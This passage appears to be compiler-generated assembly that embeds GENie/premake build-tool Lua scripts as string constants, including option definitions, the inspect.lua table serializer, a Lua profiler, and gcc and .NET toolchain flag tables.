\"antbuildjavasourcedirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildjardirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildjardependencies\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildnativelibdirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildnativelibdependencies\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"antbuildassetsdirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"postsolutioncallbacks\",\nkind = \"list\",\nscope = \"solution\",\n}\nnewapifield {\nname = \"postprojectcallbacks\",\nkind = \"list\",\nscope = \"project\",\n}\n"
l_.str.14: ; @.str.14
.asciz "newoption\n{\ntrigger = \"cc\",\nvalue = \"VALUE\",\ndescription = \"Choose a C/C++ compiler set\",\nallowed = {\n{ \"gcc\", \"GNU GCC (gcc/g++)\" },\n{ \"ow\", \"OpenWatcom\" },\n{ \"ghs\", \"Green Hills Software\" },\n}\n}\nnewoption\n{\ntrigger = \"dotnet\",\nvalue = \"VALUE\",\ndescription = \"Choose a .NET compiler set\",\nallowed = {\n{ \"msnet\", \"Microsoft .NET (csc)\" },\n{ \"mono\", \"Novell Mono (mcs)\" },\n{ \"pnet\", \"Portable.NET (cscc)\" },\n}\n}\nnewoption\n{\ntrigger = \"file\",\nvalue = \"FILE\",\ndescription = \"Read FILE as a Premake script; default is 'premake4.lua'\"\n}\nnewoption\n{\ntrigger = \"help\",\ndescription = \"Display this information\"\n}\nnewoption\n{\ntrigger = \"os\",\nvalue = \"VALUE\",\ndescription = \"Generate files for a different operating system\",\nallowed = {\n{ \"bsd\", \"OpenBSD, NetBSD, or FreeBSD\" },\n{ \"linux\", \"Linux\" },\n{ \"macosx\", \"Apple Mac OS X\" },\n{ \"solaris\", \"Solaris\" },\n{ \"windows\", \"Microsoft Windows\" },\n}\n}\nnewoption\n{\ntrigger = \"platform\",\nvalue = \"VALUE\",\ndescription = \"Add target architecture (if supported by action)\",\nallowed = {\n{ \"x32\", \"32-bit\" },\n{ \"x64\", \"64-bit\" },\n{ \"universal\", \"Mac OS X Universal, 32- and 64-bit\" },\n{ \"universal32\", \"Mac OS X Universal, 32-bit only\" },\n{ \"universal64\", \"Mac OS X Universal, 64-bit only\" },\n{ \"ps3\", \"Playstation 3\" },\n{ \"orbis\", \"Playstation 4\" },\n{ \"xbox360\", \"Xbox 360\" },\n{ \"durango\", \"Xbox One\" },\n{ \"ARM\", \"ARM\" },\n{ \"PowerPC\", \"PowerPC\" },\n}\n}\nnewoption\n{\ntrigger = \"scripts\",\nvalue = \"path\",\ndescription = \"Search for additional scripts on the given path\"\n}\nnewoption\n{\ntrigger = \"debug-profiler\",\ndescription = \"GENie script generation profiler.\"\n}\nnewoption\n{\ntrigger = \"version\",\ndescription = \"Display version information\"\n}\n"
l_.str.15: ; @.str.15
.asciz "-- Copyright (c) 2013 Enrique Garc\303\255a Cota\nlocal function smartQuote(str)\n if str:match('\"') and not str:match(\"'\") then\n return \"'\" .. str .. \"'\"\n end\n return '\"' .. str:gsub('\"', '\\\\\"') .. '\"'\nend\nlocal controlCharsTranslation = {\n [\"\\a\"] = \"\\\\a\", [\"\\b\"] = \"\\\\b\", [\"\\f\"] = \"\\\\f\", [\"\\n\"] = \"\\\\n\",\n [\"\\r\"] = \"\\\\r\", [\"\\t\"] = \"\\\\t\", [\"\\v\"] = \"\\\\v\"\n}\nlocal function escapeChar(c) return controlCharsTranslation[c] end\nlocal function escape(str)\n local result = str:gsub(\"\\\\\", \"\\\\\\\\\"):gsub(\"(%c)\", escapeChar)\n return result\nend\nlocal function isIdentifier(str)\n return type(str) == 'string' and str:match( \"^[_%a][_%a%d]*$\" )\nend\nlocal function isArrayKey(k, length)\n return type(k) == 'number' and 1 <= k and k <= length\nend\nlocal function isDictionaryKey(k, length)\n return not isArrayKey(k, length)\nend\nlocal defaultTypeOrders = {\n ['number'] = 1, ['boolean'] = 2, ['string'] = 3, ['table'] = 4,\n ['function'] = 5, ['userdata'] = 6, ['thread'] = 7\n}\nlocal function sortKeys(a, b)\n local ta, tb = type(a), type(b)\n -- strings and numbers are sorted numerically/alphabetically\n if ta == tb and (ta == 'string' or ta == 'number') then return a < b end\n local dta, dtb = defaultTypeOrders[ta], defaultTypeOrders[tb]\n -- Two default types are compared according to the defaultTypeOrders table\n if dta and dtb then return defaultTypeOrders[ta] < defaultTypeOrders[tb]\n elseif dta then return true -- default types before custom ones\n elseif dtb then return false -- custom types after default ones\n end\n -- custom types are sorted out alphabetically\n return ta < tb\nend\nlocal function getDictionaryKeys(t)\n local keys, length = {}, #t\n for k,_ in pairs(t) do\n if isDictionaryKey(k, length) then table.insert(keys, k) end\n end\n table.sort(keys, sortKeys)\n return keys\nend\nlocal function getToStringResultSafely(t, mt)\n local __tostring = type(mt) == 'table' and rawget(mt, '__tostring')\n local str, ok\n if type(__tostring) == 'function' then\n ok, str = pcall(__tostring, t)\n str = ok and str or 'error: ' .. tostring(str)\n end\n if type(str) == 'string' and #str > 0 then return str end\nend\nlocal maxIdsMetaTable = {\n __index = function(self, typeName)\n rawset(self, typeName, 0)\n return 0\n end\n}\nlocal idsMetaTable = {\n __index = function (self, typeName)\n local col = setmetatable({}, {__mode = \"kv\"})\n rawset(self, typeName, col)\n return col\n end\n}\nlocal function countTableAppearances(t, tableAppearances)\n tableAppearances = tableAppearances or setmetatable({}, {__mode = \"k\"})\n if type(t) == 'table' then\n if not tableAppearances[t] then\n tableAppearances[t] = 1\n for k,v in pairs(t) do\n countTableAppearances(k, tableAppearances)\n countTableAppearances(v, tableAppearances)\n end\n countTableAppearances(getmetatable(t), tableAppearances)\n else\n tableAppearances[t] = tableAppearances[t] + 1\n end\n end\n return tableAppearances\nend\nlocal function parse_filter(filter)\n if type(filter) == 'function' then return filter end\n -- not a function, so it must be a table or table-like\n filter = type(filter) == 'table' and filter or {filter}\n local dictionary = {}\n for _,v in pairs(filter) do dictionary[v] = true end\n return function(x) return dictionary[x] end\nend\nlocal function makePath(path, key)\n local newPath, len = {}, #path\n for i=1, len do newPath[i] = path[i] end\n newPath[len+1] = key\n return newPath\nend\nfunction inspect(rootObject, options)\n options = options or {}\n local depth = options.depth or math.huge\n local filter = parse_filter(options.filter or {})\n local tableAppearances = countTableAppearances(rootObject)\n local buffer = {}\n local maxIds = setmetatable({}, maxIdsMetaTable)\n local ids = setmetatable({}, idsMetaTable)\n local level = 0\n local blen = 0 -- buffer length\n local function puts(...)\n local args = {...}\n for i=1, #args do\n blen = blen + 1\n buffer[blen] = tostring(args[i])\n end\n end\n local function down(f)\n level = level + 1\n f()\n level = level - 1\n end\n local function tabify()\n puts(\"\\n\", string.rep(\" \", level))\n end\n local function commaControl(needsComma)\n if needsComma then puts(',') end\n return true\n end\n local function alreadyVisited(v)\n return ids[type(v)][v] ~= nil\n end\n local function getId(v)\n local tv = type(v)\n local id = ids[tv][v]\n if not id then\n id = maxIds[tv] + 1\n maxIds[tv] = id\n ids[tv][v] = id\n end\n return id\n end\n local putValue -- forward declaration that needs to go before putTable & putKey\n local function putKey(k)\n if isIdentifier(k) then return puts(k) end\n puts( \"[\" )\n putValue(k, {})\n puts(\"]\")\n end\n local function putTable(t, path)\n if alreadyVisited(t) then\n puts('<table ', getId(t), '>')\n elseif level >= depth then\n puts('{...}')\n else\n if tableAppearances[t] > 1 then puts('<', getId(t), '>') end\n local dictKeys = getDictionaryKeys(t)\n local length = #t\n local mt = getmetatable(t)\n local to_string_result = getToStringResultSafely(t, mt)\n puts('{')\n down(function()\n if to_string_result then\n puts(' -- ', escape(to_string_result))\n if length >= 1 then tabify() end -- tabify the array values\n end\n local needsComma = false\n for i=1, length do\n needsComma = commaControl(needsComma)\n puts(' ')\n putValue(t[i], makePath(path, i))\n end\n for _,k in ipairs(dictKeys) do\n needsComma = commaControl(needsComma)\n tabify()\n putKey(k)\n puts(' = ')\n putValue(t[k], makePath(path, k))\n end\n if mt then\n needsComma = commaControl(needsComma)\n tabify()\n puts('<metatable> = ')\n putValue(mt, makePath(path, '<metatable>'))\n end\n end)\n if #dictKeys > 0 or mt then -- dictionary table. Justify closing }\n tabify()\n elseif length > 0 then -- array tables have one extra space before closing }\n puts(' ')\n end\n puts('}')\n end\n end\n -- putvalue is forward-declared before putTable & putKey\n putValue = function(v, path)\n if filter(v, path) then\n puts('<filtered>')\n else\n local tv = type(v)\n if tv == 'string' then\n puts(smartQuote(escape(v)))\n elseif tv == 'number' or tv == 'boolean' or tv == 'nil' then\n puts(tostring(v))\n elseif tv == 'table' then\n putTable(v, path)\n else\n puts('<',tv,' ',getId(v),'>')\n end\n end\n end\n putValue(rootObject, {})\n return table.concat(buffer)\nend\nfunction printtable(name, table)\nprint(\"table: \", name, inspect(table), \"\\n\")\nend\nfunction printstack()\nprint(debug.traceback(), \"\\n\")\nend\n"
l_.str.16: ; @.str.16
.asciz "_profiler = {}\nfunction newProfiler(variant, sampledelay)\nif _profiler.running then\nprint(\"Profiler already running.\")\nreturn\nend\nvariant = variant or \"time\"\nif variant ~= \"time\" and variant ~= \"call\" then\nprint(\"Profiler method must be 'time' or 'call'.\")\nreturn\nend\nlocal newprof = {}\nfor k,v in pairs(_profiler) do\nnewprof[k] = v\nend\nnewprof.variant = variant\nnewprof.sampledelay = sampledelay or 100000\nreturn newprof\nend\nfunction _profiler.start(self)\nif _profiler.running then\nreturn\nend\n_profiler.running = self\nself.rawstats = {}\nself.callstack = {}\nif self.variant == \"time\" then\nself.lastclock = os.clock()\ndebug.sethook( _profiler_hook_wrapper_by_time, \"\", self.sampledelay )\nelseif self.variant == \"call\" then\ndebug.sethook( _profiler_hook_wrapper_by_call, \"cr\" )\nelse\nprint(\"Profiler method must be 'time' or 'call'.\")\nsys.exit(1)\nend\nend\nfunction _profiler.stop(self)\nif _profiler.running ~= self then\nreturn\nend\ndebug.sethook( nil )\n_profiler.running = nil\nend\nfunction _profiler_hook_wrapper_by_call(action)\nif _profiler.running == nil then\ndebug.sethook( nil )\nend\n_profiler.running:_internal_profile_by_call(action)\nend\nfunction _profiler_hook_wrapper_by_time(action)\nif _profiler.running == nil then\ndebug.sethook( nil )\nend\n_profiler.running:_internal_profile_by_time(action)\nend\nfunction _profiler._internal_profile_by_call(self,action)\nlocal caller_info = debug.getinfo( 3 )\nif caller_info == nil then\nprint \"No caller_info\"\nreturn\nend\nlocal latest_ar = nil\nif table.getn(self.callstack) > 0 then\nlatest_ar = self.callstack[table.getn(self.callstack)]\nend\nlocal should_not_profile = 0\nfor k,v in pairs(self.prevented_functions) do\nif k == caller_info.func then\nshould_not_profile = v\nend\nend\nif latest_ar then\nif latest_ar.should_not_profile == 2 then\nshould_not_profile = 2\nend\nend\nif action == \"call\" then\nlocal this_ar = {}\nthis_ar.should_not_profile = should_not_profile\nthis_ar.parent_ar = latest_ar\nthis_ar.anon_child = 0\nthis_ar.name_child = 0\nthis_ar.children = {}\nthis_ar.children_time = {}\nthis_ar.clock_start = os.clock()\ntable.insert( self.callstack, this_ar )\nelse\nlocal this_ar = latest_ar\nif this_ar == nil then\nreturn -- No point in doing anything if no upper activation record\nend\nthis_ar.clock_end = os.clock()\nthis_ar.this_time = this_ar.clock_end - this_ar.clock_start\nif this_ar.parent_ar then\nthis_ar.parent_ar.children[caller_info.func] =\n(this_ar.parent_ar.children[caller_info.func] or 0) + 1\nthis_ar.parent_ar.children_time[caller_info.func] =\n(this_ar.parent_ar.children_time[caller_info.func] or 0 ) +\nthis_ar.this_time\nif caller_info.name == nil then\nthis_ar.parent_ar.anon_child =\nthis_ar.parent_ar.anon_child + this_ar.this_time\nelse\nthis_ar.parent_ar.name_child =\nthis_ar.parent_ar.name_child + this_ar.this_time\nend\nend\nif this_ar.should_not_profile == 0 then\nlocal inforec = self:_get_func_rec(caller_info.func,1)\ninforec.count = inforec.count + 1\ninforec.time = inforec.time + this_ar.this_time\ninforec.anon_child_time = inforec.anon_child_time + this_ar.anon_child\ninforec.name_child_time = inforec.name_child_time + this_ar.name_child\ninforec.func_info = caller_info\nfor k,v in pairs(this_ar.children) do\ninforec.children[k] = (inforec.children[k] or 0) + v\ninforec.children_time[k] =\n(inforec.children_time[k] or 0) + this_ar.children_time[k]\nend\nend\ntable.remove( self.callstack, table.getn( self.callstack ) )\nend\nend\nfunction _profiler._internal_profile_by_time(self,action)\nlocal timetaken = os.clock() - self.lastclock\nlocal depth = 3\nlocal at_top = true\nlocal last_caller\nlocal caller = debug.getinfo(depth)\nwhile caller do\nif not caller.func then caller.func = \"(tail call)\" end\nif self.prevented_functions[caller.func] == nil then\nlocal info = self:_get_func_rec(caller.func, 1, caller)\ninfo.count = info.count + 1\ninfo.time = info.time + timetaken\nif last_caller then\nif last_caller.name then\ninfo.name_child_time = info.name_child_time + timetaken\nelse\ninfo.anon_child_time = info.anon_child_time + timetaken\nend\ninfo.children[last_caller.func] =\n(info.children[last_caller.func] or 0) + 1\ninfo.children_time[last_caller.func] =\n(info.children_time[last_caller.func] or 0) + timetaken\nend\nend\ndepth = depth + 1\nlast_caller = caller\ncaller = debug.getinfo(depth)\nend\nself.lastclock = os.clock()\nend\nfunction _profiler._get_func_rec(self,func,force,info)\nlocal ret = self.rawstats[func]\nif ret == nil and force ~= 1 then\nreturn nil\nend\nif ret == nil then\nret = {}\nret.func = func\nret.count = 0\nret.time = 0\nret.anon_child_time = 0\nret.name_child_time = 0\nret.children = {}\nret.children_time = {}\nret.func_info = info\nself.rawstats[func] = ret\nend\nreturn ret\nend\nfunction _profiler.report( self, outfile, sort_by_total_time )\noutfile:write\n[[Lua Profile output created by profiler.lua. Copyright Pepperfish 2002+\n]]\nlocal terms = {}\nif self.variant == \"time\" then\nterms.capitalized = \"Sample\"\nterms.single = \"sample\"\nterms.pastverb = \"sampled\"\nelseif self.variant == \"call\" then\nterms.capitalized = \"Call\"\nterms.single = \"call\"\nterms.pastverb = \"called\"\nelse\nassert(false)\nend\nlocal total_time = 0\nlocal ordering = {}\nfor func,record in pairs(self.rawstats) do\ntable.insert(ordering, func)\nend\nif sort_by_total_time then\ntable.sort( ordering,\nfunction(a,b) return self.rawstats[a].time > self.rawstats[b].time end\n)\nelse\ntable.sort( ordering,\nfunction(a,b)\nlocal arec = self.rawstats[a]\nlocal brec = self.rawstats[b]\nlocal atime = arec.time - (arec.anon_child_time + arec.name_child_time)\nlocal btime = brec.time - (brec.anon_child_time + brec.name_child_time)\nreturn atime > btime\nend\n)\nend\nfor i=1,#ordering do\nlocal func = ordering[i]\nlocal record = self.rawstats[func]\nlocal thisfuncname = \" \" .. self:_pretty_name(func) .. \" \"\nif string.len( thisfuncname ) < 42 then\nthisfuncname = string.rep( \"-\", math.floor((42 - string.len(thisfuncname))/2) ) .. thisfuncname\nthisfuncname = thisfuncname .. string.rep( \"-\", 42 - string.len(thisfuncname) )\nend\ntotal_time = total_time + ( record.time - ( record.anon_child_time +\nrecord.name_child_time ) )\noutfile:write( string.rep( \"-\", 19 ) .. thisfuncname ..\nstring.rep( \"-\", 19 ) .. \"\\n\" )\noutfile:write( terms.capitalized..\" count: \" ..\nstring.format( \"%4d\", record.count ) .. \"\\n\" )\noutfile:write( \"Time spend total: \" ..\nstring.format( \"%4.3f\", record.time ) .. \"s\\n\" )\noutfile:write( \"Time spent in children: \" ..\nstring.format(\"%4.3f\",record.anon_child_time+record.name_child_time) ..\n\"s\\n\" )\nlocal timeinself =\nrecord.time - (record.anon_child_time + record.name_child_time)\noutfile:write( \"Time spent in self: \" ..\nstring.format(\"%4.3f\", timeinself) .. \"s\\n\" )\noutfile:write( \"Time spent per \" .. terms.single .. \": \" ..\nstring.format(\"%4.5f\", record.time/record.count) ..\n\"s/\" .. terms.single .. \"\\n\" )\noutfile:write( \"Time spent in self per \"..terms.single..\": \" ..\nstring.format( \"%4.5f\", timeinself/record.count ) .. \"s/\" ..\nterms.single..\"\\n\" )\nlocal added_blank = 0\nfor k,v in pairs(record.children) do\nif self.prevented_functions[k] == nil or\nself.prevented_functions[k] == 0\nthen\nif added_blank == 0 then\noutfile:write( \"\\n\" ) -- extra separation line\nadded_blank = 1\nend\noutfile:write( \"Child \" .. self:_pretty_name(k) ..\nstring.rep( \" \", 41-string.len(self:_pretty_name(k)) ) .. \" \" ..\nterms.pastverb..\" \" .. string.format(\"%6d\", v) )\noutfile:write( \" times. Took \" ..\nstring.format(\"%4.2f\", record.children_time[k] ) .. \"s\\n\" )\nend\nend\noutfile:write( \"\\n\" ) -- extra separation line\noutfile:flush()\nend\noutfile:write( \"\\n\\n\" )\noutfile:write( \"Total time spent in profiled functions: \" ..\nstring.format(\"%5.3g\",total_time) .. \"s\\n\" )\noutfile:write( [[\nEND\n]] )\noutfile:flush()\nend\nfunction _profiler.lua_report(self,outfile)\nlocal ordering = {}\nlocal functonum = {}\nfor func,record in pairs(self.rawstats) do\ntable.insert(ordering, func)\nfunctonum[func] = table.getn(ordering)\nend\noutfile:write(\n\"-- Profile generated by profiler.lua Copyright Pepperfish 2002+\\n\\n\" )\noutfile:write( \"-- Function names\\nfuncnames = {}\\n\" )\nfor i=1,table.getn(ordering) do\nlocal thisfunc = ordering[i]\noutfile:write( \"funcnames[\" .. i .. \"] = \" ..\nstring.format(\"%q\", self:_pretty_name(thisfunc)) .. \"\\n\" )\nend\noutfile:write( \"\\n\" )\noutfile:write( \"-- Function times\\nfunctimes = {}\\n\" )\nfor i=1,table.getn(ordering) do\nlocal thisfunc = ordering[i]\nlocal record = self.rawstats[thisfunc]\noutfile:write( \"functimes[\" .. i .. \"] = { \" )\noutfile:write( \"tot=\" .. record.time .. \", \" )\noutfile:write( \"achild=\" .. record.anon_child_time .. \", \" )\noutfile:write( \"nchild=\" .. record.name_child_time .. \", \" )\noutfile:write( \"count=\" .. record.count .. \" }\\n\" )\nend\noutfile:write( \"\\n\" )\noutfile:write( \"-- Child links\\nchildren = {}\\n\" )\nfor i=1,table.getn(ordering) do\nlocal thisfunc = ordering[i]\nlocal record = self.rawstats[thisfunc]\noutfile:write( \"children[\" .. i .. \"] = { \" )\nfor k,v in pairs(record.children) do\nif functonum[k] then -- non-recorded functions will be ignored now\noutfile:write( functonum[k] .. \", \" )\nend\nend\noutfile:write( \"}\\n\" )\nend\noutfile:write( \"\\n\" )\noutfile:write( \"-- Child call counts\\nchildcounts = {}\\n\" )\nfor i=1,table.getn(ordering) do\nlocal thisfunc = ordering[i]\nlocal record = self.rawstats[thisfunc]\noutfile:write( \"children[\" .. i .. \"] = { \" )\nfor k,v in record.children do\nif functonum[k] then -- non-recorded functions will be ignored now\noutfile:write( v .. \", \" )\nend\nend\noutfile:write( \"}\\n\" )\nend\noutfile:write( \"\\n\" )\noutfile:write( \"-- Child call time\\nchildtimes = {}\\n\" )\nfor i=1,table.getn(ordering) do\nlocal thisfunc = ordering[i]\nlocal record = self.rawstats[thisfunc];\noutfile:write( \"children[\" .. i .. \"] = { \" )\nfor k,v in pairs(record.children) do\nif functonum[k] then -- non-recorded functions will be ignored now\noutfile:write( record.children_time[k] .. \", \" )\nend\nend\noutfile:write( \"}\\n\" )\nend\noutfile:write( \"\\n\\n-- That is all.\\n\\n\" )\noutfile:flush()\nend\nfunction _profiler._pretty_name(self,func)\nlocal info = self.rawstats[ func ].func_info\nlocal name = \"\"\nif info.what == \"Lua\" then\nname = \"L:\"\nend\nif info.what == \"C\" then\nname = \"C:\"\nend\nif info.what == \"main\" then\nname = \" :\"\nend\nif info.name == nil then\nname = name .. \"<\"..tostring(func) .. \">\"\nelse\nname = name .. info.name\nend\nif info.source then\nname = name\nelse\nif info.what == \"C\" then\nname = name .. \"@?\"\nelse\nname = name .. \"@<string>\"\nend\nend\nname = name .. \":\"\nif info.what == \"C\" then\nname = name .. \"?\"\nelse\nname = name .. info.linedefined\nend\nreturn name\nend\nfunction _profiler.prevent(self, func, level)\nself.prevented_functions[func] = (level or 1)\nend\n_profiler.prevented_functions = {\n[_profiler.start] = 2,\n[_profiler.stop] = 2,\n[_profiler._internal_profile_by_time] = 2,\n[_profiler._internal_profile_by_call] = 2,\n[_profiler_hook_wrapper_by_time] = 2,\n[_profiler_hook_wrapper_by_call] = 2,\n[_profiler.prevent] = 2,\n[_profiler._get_func_rec] = 2,\n[_profiler.report] = 2,\n[_profiler.lua_report] = 2,\n[_profiler._pretty_name] = 2\n}\n"
l_.str.17: ; @.str.17
.asciz "premake.dotnet = { }\npremake.dotnet.namestyle = \"windows\"\nlocal flags =\n{\nFatalWarning = \"/warnaserror\",\nOptimize = \"/optimize\",\nOptimizeSize = \"/optimize\",\nOptimizeSpeed = \"/optimize\",\nSymbols = \"/debug\",\nUnsafe = \"/unsafe\"\n}\nfunction premake.dotnet.getbuildaction(fcfg)\nlocal ext = path.getextension(fcfg.name):lower()\nif fcfg.buildaction == \"Compile\" or ext == \".cs\" then\nreturn \"Compile\"\nelseif fcfg.buildaction == \"Embed\" or ext == \".resx\" then\nreturn \"EmbeddedResource\"\nelseif fcfg.buildaction == \"Copy\" or ext == \".asax\" or ext == \".aspx\" then\nreturn \"Content\"\nelse\nreturn \"None\"\nend\nend\nfunction premake.dotnet.getcompilervar(cfg)\nif (_OPTIONS.dotnet == \"msnet\") then\nreturn \"csc\"\nelseif (_OPTIONS.dotnet == \"mono\") then\nreturn \"mcs\"\nelse\nreturn \"cscc\"\nend\nend\nfunction premake.dotnet.getflags(cfg)\nlocal result = table.translate(cfg.flags, flags)\nreturn result\nend\nfunction premake.dotnet.getkind(cfg)\nif (cfg.kind == \"ConsoleApp\") then\nreturn \"Exe\"\nelseif (cfg.kind == \"WindowedApp\") then\nreturn \"WinExe\"\nelseif (cfg.kind == \"SharedLib\") then\nreturn \"Library\"\nend\nend\n"
l_.str.18: ; @.str.18
.asciz "premake.gcc = { }\npremake.gcc.cc = \"gcc\"\npremake.gcc.cxx = \"g++\"\npremake.gcc.ar = \"ar\"\npremake.gcc.rc = \"windres\"\npremake.gcc.llvm = false\nlocal cflags =\n{\nEnableSSE = \"-msse\",\nEnableSSE2 = \"-msse2\",\nEnableAVX = \"-mavx\",\nEnableAVX2 = \"-mavx2\",\nPedanticWarnings = \"-Wall -Wextra -pedantic\",\nExtraWarnings = \"-Wall -Wextra\",\nFatalWarnings = \"-Werror\",\nFloatFast = \"-ffast-math\",\nFloatStrict = \"-ffloat-store\",\nNoFramePointer = \"-fomit-frame-pointer\",\nOptimize = \"-O2\",\nOptimizeSize = \"-Os\",\nOptimizeSpeed = \"-O3\",\nSymbols = \"-g\",\n}\nlocal cxxflags =\n{\nCpp11 = \"-std=c++11\",\nCpp14 = \"-std=c++14\",\nCpp17 = \"-std=c++17\",\nCppLatest = \"-std=c++2a\",\nNoExceptions = \"-fno-exceptions\",\nNoRTTI = \"-fno-rtti\",\nUnsignedChar = \"-funsigned-char\",\n}\nlocal objcflags =\n{\nObjcARC = \"-fobjc-arc\",\n}\npremake.gcc.platforms =\n{\nNative = {\ncppflags = \"-MMD -MP\",\n},\nx32 = {\ncppflags = \"-MMD -MP\",\nflags = \"-m32\",\n},\nx64 = {\ncppflags = \"-MMD -MP\",\nflags = \"-m64\",\n},\nUniversal = {\nar = \"libtool\",\ncppflags = \"-MMD -MP\",\nflags = \"-arch i386 -arch x86_64 -arch ppc -arch ppc64\",\n},\nUniversal32 = {\nar = \"libtool\",\ncppflags = \"-MMD -MP\",\nflags = \"-arch i386 -arch ppc\",\n},\nUniversal64 = {\nar = \"libtool\",\ncppflags = \"-MMD -MP\",\nflags = \"-arch x86_64 -arch ppc64\",\n},\nPS3 = {\ncc = \"ppu-lv2-g++\",\ncxx = \"ppu-lv2-g++\",\nar = \"ppu-lv2-ar\",\ncppflags = \"-MMD -MP\",\n},\nWiiDev = {\ncppflags = \"-MMD -MP -I$(LIBOGC_INC) $(MACHDEP)\",\nldflags= \"-L$(LIBOGC_LIB) $(MACHDEP)\",\ncfgsettings = [[\n ifeq ($(strip $(DEVKITPPC)),)\n $(error \"DEVKITPPC environment variable is not set\")'\n endif\n include $(DEVKITPPC)/wii_rules']],\n},\nOrbis = {\ncc = \"orbis-clang\",\ncxx = \"orbis-clang++\",\nar = \"orbis-ar\",\ncppflags = \"-MMD -MP\",\n},\nEmscripten = {\ncc = \"$(EMSCRIPTEN)/emcc\",\ncxx = \"$(EMSCRIPTEN)/em++\",\nar = \"$(EMSCRIPTEN)/emar\",\ncppflags = \"-MMD -MP\",\n}\n}\nlocal platforms = premake.gcc.platforms\nfunction premake.gcc.getcppflags(cfg)\nlocal flags = { }\ntable.insert(flags, platforms[cfg.platform].cppflags)\nif flags[1]:startswith(\"-MMD\") then\ntable.insert(flags, \"-MP\")\nend\nreturn flags\nend\nfunction premake.gcc.getcflags(cfg)\nlocal result = table.translate(cfg.flags, cflags)\ntable.insert(result, platforms[cfg.platform].flags)\nif cfg.system ~= \"windows\" and cfg.kind == \"SharedLib\" then\ntable.insert(result, \"-fPIC\")\nend\nreturn result\nend\nfunction premake.gcc.getcxxflags(cfg)\nlocal result = table.translate(cfg.flags, cxxflags)\nreturn result\nend\nfunction premake.gcc.getobjcflags(cfg)\nreturn table.translate(cfg.flags, objcflags)\nend\nfunction premake.gcc.getldflags(cfg)\nlocal result = { }\nif not cfg.flags.Symbols then\nif cfg.system == \"macosx\" then\nelse\ntable.insert(result, \"-s\")\nend\nend\nif cfg.kind == \"Bundle\" then\ntable.insert(result, \"-bundle\")\nend\nif cfg.kind == \"SharedLib\" then\nif cfg.system == \"macosx\" then\ntable.insert(result, \"-dynamiclib\")\nelse\ntable.insert(result, \"-shared\")\nend\nif cfg.system == \"windows\" and not cfg.flags.NoImportLib then\ntable.insert(result, '-Wl,--out-implib=\"' .. cfg.linktarget.fullpath .. '\"')\nend\nend\nif cfg.kind == \"WindowedApp\" and cfg.system == \"windows\" then\ntable.insert(result, \"-mwindows\")\nend\nlocal platform = platforms[cfg.platform]\ntable.insert(result, platform.flags)\ntable.insert(result, platform.ldflags)\nreturn result\nend\nfunction premake.gcc.getlibdirflags(cfg)\nlocal result = { }\nfor _, value in ipairs(premake.getlinks(cfg, \"all\", \"directory\")) do\ntable.insert(result, '-L\\\"' .. value .. '\\\"')\nend\nreturn result\nend\nfunction premake.gcc.islibfile(p)\nif path.getextension(p) == \".a\" then\nreturn true\nend\nreturn false\nend\nfunction premake.gcc.getlibfiles(cfg)\nlocal result = {}\nfor _, value in ipairs(premake.getlinks(cfg, \"system\", \"fullpath\")) do\nif premake.gcc.islibfile(value) then\ntable.insert(result, _MAKE.esc(value))\nend\nend\nreturn result\nend\nfunction premake.gcc.getlinkflags(cfg)\nlocal result = {}\nfor _, value in ipairs(premake.getlinks(cfg, \"system\", \"fullpath\")) do\nif premake.gcc.islibfile(value) then\nvalue = path.rebase(value, cfg.project.location, cfg.location)\ntable.insert(result, _MAKE.esc(value))\nelseif path.getextension(value) == \".framework\" then\ntable.insert(result, '-framework ' .. _MAKE.esc(path.getbasename(value)))\nelse\ntable.insert(result, '-l' .. _MAKE.esc(path.getname(value)))\nend\nend\nreturn result\nend\nfunction premake.gcc.wholearchive(lib)\nif premake.gcc.llvm then\nreturn {\"-force_load\", lib}\nelseif os.get() == \"macosx\" then\nreturn {\"-Wl,-force_load\", lib}\nelse\nreturn {\"-Wl,--whole-archive\", lib, \"-Wl,--no-whole-archive\"}\nend\nend\nfunction premake.gcc.getarchiveflags(prj, cfg, ndx)\nlocal result = {}\nif cfg.platform:startswith(\"Universal\") then\nif prj.options.ArchiveSplit then\nerror(\"gcc tool 'Universal*' platforms do not support split archives\")\nend\ntable.insert(result, '-o')\nelse\nif (not prj.options.ArchiveSplit) then\nif premake.gcc.llvm then\ntable.insert(result, 'rcs')\nelse\ntable.insert(result, '-rcs')\nend\nelse\nif premake.gcc.llvm then\nif (not ndx) then\ntable.insert(result, 'qc')\nelse\ntable.insert(result, 'cs')\nend\nelse\nif (not ndx) then\ntable.insert(result, '-qc')\nelse\ntable.insert(result, '-cs')\nend\nend\nend\nend\nreturn result\nend\nfunction premake.gcc.getdefines(defines)\nlocal result = { }\nfor _,def in ipairs(defines) do\ntable.insert(result, \"-D\" .. def)\nend\nreturn result\nend\nfunction premake.gcc.getincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, \"-I\\\"\" .. dir .. \"\\\"\")\nend\nreturn result\nend\nfunction premake.gcc.getquoteincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, \"-iquote \\\"\" .. dir .. \"\\\"\")\nend\nreturn result\nend\nfunction premake.gcc.getsystemincludedirs(includedirs)\nlocal result = { }\nfor _,dir in ipairs(includedirs) do\ntable.insert(result, \"-isystem \\\"\" .. dir .. \"\\\"\")\nend\nreturn result\nend\nfunction premake.gcc.getcfgsettings(cfg)\nreturn platforms[cfg.platform].cfgsettings\nend\n"
l_.str.19: ; @.str.19
